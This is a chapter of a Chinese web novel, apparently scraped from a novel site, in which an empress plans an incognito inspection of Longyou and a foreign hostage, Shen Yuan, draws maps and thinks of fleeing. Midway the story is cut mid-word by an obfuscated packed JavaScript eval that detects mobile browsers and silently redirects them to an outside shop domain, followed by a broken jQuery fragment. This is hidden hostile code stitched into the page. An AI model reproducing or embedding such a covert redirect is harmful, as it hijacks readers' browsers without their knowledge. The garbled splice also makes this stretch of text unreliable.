每年过年时,都是段曦宁难得事少悠闲的日子。
初一贺岁大典过后的几日,无需上朝理政,又无宗亲拜年,她干脆将宣政殿的门一关,舒舒服服地躺在自己的仙居殿里面歇着。
这几日她几乎除了吃就是睡,什么事都不管,什么人都不见,恨不得将自己一年没歇的觉都补回来。
她觉着自己也是天生劳碌命。幼时须得学各种本事,稍长大些父皇就让她监国理政,后来又参军历练,登基之后更需日理万机不得闲。
看着倒是天生富贵,地位尊崇,无人可与之相较,贵人的清福却没怎么享上,成天累得像拉磨的驴。
这不,躺在床上睡痛快了以后,她腿脚虽不想动,脑子里却也不由自主地开始想大小琐事。
真是劳累惯了,竟还不会安逸了。
有些事简单,轻而易举便能想清全貌。
有些事则不然,总要耗费许多心神,一时半会儿难以想出满意的结果。
素筠知道自家陛下一年到头皆政务缠身,也不忍打搅,若有朝中小事,她自己便帮着料理了。
看她睁着眼睛仰躺着发愣,素筠便知道她这是又睡饱了,笑问:“陛下这是又想什么呢?”
“伐蜀的事。”段曦宁翻了个身往里挪了挪,拍拍身旁让她坐下,侧躺着弯着胳膊肘支起脑袋看向她,“还有,朕在想,微服过去陇右道看看。”
“这几年,也不知道虞升卿那家伙将朕的陇右道治理得究竟如何?”
听她主动提起虞升卿,素筠小心地觑了她的脸色,见她面色如常,才道:“虞公子兼资文武,想必主政一方定也能将陇右治理得井井有条,不负陛下厚望。”
素筠摸不清自家陛下到底对虞升卿是何想法。
她只记得,当年有一晚陛下气呼呼地回来,怒气冲冲地在宣政殿吐了一大筐的粗话,句句都是骂虞升卿的。
若不是陛下抠门舍不得东西,大约还会一怒之下将宣政殿砸个稀巴烂。
虞升卿的心思,她约莫能猜出一二,却未想到陛下能为着这事发那么大的火。
之后,陛下便将虞升卿调去了陇右道。
此举叫她琢磨不透。
不知陛下到底是对其生厌,故意将其调离京城,眼不见心不烦?
还是打算委以重任,才将其连升三级?
做了女官多年,素筠并非不通朝政的无知之人,自然知道陇右道不同于一般地方。
此地既是通往西域的必经之路,又与北狄紧邻,亦同蜀地挨得极近,东西往来各族混杂,能主政此地的绝不能是寻常之辈。
若是旁人被调往此地,她自然会觉着是陛下重用,可这人偏偏是虞升卿。
他可是陛下原先几位亲卫中家世最好的一个,乃世代清贵、良才辈出的河东虞氏的嫡长子,少时亦曾得先帝赏识,在当时便已是正四品下怀化中郎将。
假以时日,他或许能成为本朝最年轻的镇国大将军。
偏偏在这个时候,他却作为文官被调往了陇右道,看起来像极了明升暗贬。
但陛下并非意气用事之人,不会因私废公。虽平时常叫贺兰辛这样文武兼修的武将兼领部分文官事宜,以解文官不足之急,却从未让一名武将彻底转做一名文官,让人猜不透她的用意。
“朕倒是不疑虞升卿的能耐。”段曦宁面色如常,淡淡道,“只是有些事,在脑子里再翻来覆去地想也是幻影,总要亲自看看。”
说着她就坐了起来,吩咐素筠:“年后开了朝,你早些给朕准备准备,等到了春耕时分,朕微服去陇右一趟。”
素筠有几分讶异:“这次要去那么远?只怕要费上许多工夫。”
她家陛下并不是个一味坐在皇城、埋头宣政殿闭目塞听的皇帝,不打仗的时候,便喜欢在春耕时节抽出空微服出去探访民情。
前年在南征,去年又有河北道那一大摊子事儿,今年倒是能挤出来些空闲,总要出去一趟。
只是,往常大多是在云京周边郡县,最远只到过雁门关,还未去过这么远的地方。
大概是觉着用胳膊撑着脑袋有些累,段曦宁又将胳膊放平枕着:“早就想去了,一直没顾得上罢了。”
素筠忙道:“这次让臣跟着去吧,路途遥远,也好照顾陛下。”
“不用,宫里总得有人照应。”段曦宁却拒绝道,“朕自有打算。”
既如此,素筠不好多说,只叮嘱道:“陛下务必顾惜好自己,莫去做什么危险的事。”
段曦宁笑道:“放心,你家陛下神功盖世,定然全乎出去全乎回来,保准不叫你忧心。”
她又吩咐道:“你去把那边小桌子上放的那本地理志给朕拿来,睡不着,朕看会儿打发时间。”
素筠起身去拿书的工夫,她想到了什么,突然问:“沈渊最近忙什么呢,叫他给朕画云京舆图,画了一年了还未画好,还能不能行?”
“云京舆图?”素筠拿着书回来,闻言愕然,“陛下叫沈公子画云京舆图?就不怕……”
“怕他将舆图交给梁国吗?”段曦宁毫不在意地一笑,“朕在此,天下无人能破云京。莫说是拿了舆图,便是拿了布防图也不过是白费功夫。”
素筠不解:“那陛下为何还……”
“试试他有没有那个画舆图的本事。”段曦宁道,“工部的虞部司会画舆图者实在太少,又大多上了年纪,朕需要会画舆图的年轻人。”
若他能画得出来,无论如何,她都得将他紧紧攥在手里了。
素筠想了想道:“正是大过年的时候,沈公子只怕出门访友去了,未必会在承明殿。”
“倒是忘了。”段曦宁想起还在年里,“等年后开朝,再派个人去问问他画好了没有。”
说完便拿起地理志悠闲地躺着看了起来。
既然应了贺兰辛之邀,沈渊便带着为贺兰家的人准备的年礼,专程登门拜访了一趟。
即便他挑了一个客人不是那么多的日子,贺兰府上仍然有几个年轻子弟与他打了照面。
少年人大多是赤忱热情的,不在乎什么身份地位,只在乎彼此是否投契。
有几人在贺兰府上与他聊得还算投机,便热情邀他过府做客,他不好推拒便应下了。
他这年过得过年竟有些忙碌,走亲访友仿佛没个尽头,因而去太傅府上拜年便推迟了几日。
梁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200665|134599||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
太傅门生故吏遍布朝野,来他府上拜年的人络绎不绝。
沈渊迟些日子,反而同这些人错开了。
平日里,沈渊三五不时地登门拜访,俨然如太傅的关门弟子,与府中管家、侍从皆熟识不少,一进府便熟门熟路地跟着府中小厮到了书房。
往常他来时,太傅要么在书房读书练字揣摩棋局,要么拿着太学生的功课骂骂咧咧,看到他来,还要与他发半天的牢骚。
今日却是闻听书房内欢声笑语,其乐融融。
“爷爷,你又耍赖!”
里面传来一道清脆似在撒娇的声音,约莫是太傅家的孙辈。
太傅家的女眷他并不了解,只知自己来得不是时候,在门口顿了顿便转身离去,与管家道自己改日再来。
从太傅府中出来,他独自漫无目的地在大街上闲逛。
平时人声鼎沸的街市现下安静不少,大概那些商贩们也都回家过年去了。
回家。
他的家又在哪里呢?
梁国没有他的安身之地。
如今他虽住在桓宫,却不是桓人,客居而已。
天下何处可为家?
此刻,真切体会到了何为身若浮萍。
独自一人时,那股强烈的迷惘又将他席卷,遮得他眼前一片空白。
仰头看着天际漂浮的白云,忽然,一个大胆的念头在脑海中浮现。
不如离开大桓,天高海阔,总有他的去处,何必将自己困死?
他应该去一个地方,一个不用左右为难的地方,一个不会对不起任何人的地方。
抬头看向桓宫的方向,巍峨的宫殿无处不透露着皇权的高不可攀,让人油然而生肃穆庄重,高耸的摘星阁即便隔了很远亦清晰可见。
他曾与她一同坐在上面赏月,一起谈论,思念的人。
他若离开这里,这世上便再没有一个地方会有这样一个她了。
若留在这里,却又能如何呢?
有些事,本就是他痴心妄想而已。
可是以他的身份,离开,哪里是那么容易的事呢?
只怕连云京的地界都未必能出得了,就要被抓回来了。
他没想到,离开云京的机会竟会这么轻易到来。
“微服出巡?”沈渊错愕,还以为是自己听错了,迟疑地问,“陛下微服出巡,要带上我?”
“不行吗?”段曦宁双眼先简略扫了一眼手中舆图,称赞一句,“舆图画得不错。”
沈渊又好奇地问:“陛下要去哪儿?”
因怀着其他心思,他不敢看她的眼睛,生怕被她看出他言语时的心虚和紧张。
段曦宁一笑,并未直接答,只道:“要去一个很远的地方,或许会有波折,你可要做好路上吃苦的打算。”
她不直说,沈渊未敢深问,斟酌言语时,就听她又问:“你既会画舆图,能否对着地理志复刻其中所述地势?”
“对着地理志?”沈渊讶异,底气不足道,“须得试试才知道。”
听他未直接拒绝,段曦宁笑得温和:“好,那就回去试试。”
说着,就把自己前几日看的地理志递给了他。